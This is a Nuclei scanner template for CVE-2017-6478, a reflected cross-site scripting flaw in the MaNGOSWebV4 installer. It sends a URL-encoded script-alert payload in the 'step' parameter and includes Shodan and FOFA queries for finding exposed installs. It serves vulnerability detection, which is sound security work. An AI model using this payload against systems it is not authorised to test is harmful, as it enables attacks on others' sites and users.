id: CVE-2017-6478

info:
  name: MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting
  author: 0xr2r
  severity: medium
  description: |
   paintballrefjosh/MaNGOSWebV4 < 4.0.8 contains a reflected XSS caused by unsanitized input in install/index.php (step parameter), letting attackers execute arbitrary scripts in the victim's browser, exploit requires victim to visit a maliciously crafted URL
  impact: |
   Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
   Update to version 4.0.8 or later.
  reference:
    - https://github.com/paintballrefjosh/MaNGOSWebV4/issues/15
    - https://github.com/paintballrefjosh/MaNGOSWebV4/releases/tag/4.0.8
    - https://www.exploit-db.com/exploits/52457
    - https://nvd.nist.gov/vuln/detail/CVE-2017-6478
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-6478
    cwe-id: CWE-79
    epss-score: 0.02574
    epss-percentile: 0.83158
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"MaNGOS Web Enhanced V4 Installer"
    fofa-query: body="MaNGOS Web Enhanced V4 Installer"
  tags: cve,cve2017,xss,mangoswebv4,paintballrefjosh

http:
  - method: GET
    path:
      - "{{BaseURL}}/install/index.php?step=%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "MaNGOS Web Enhanced V4 Installer"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207bed205843b0f1b3adcdbdbc2cb59de95cf8b2bb4efacc54d43ccafb7e61c3be022100945711f4421b6bc3082b40512b2f8d477f996f63acddae96324bdc67cf5ec6bf:922c64590222798bb761d5b6d8e72950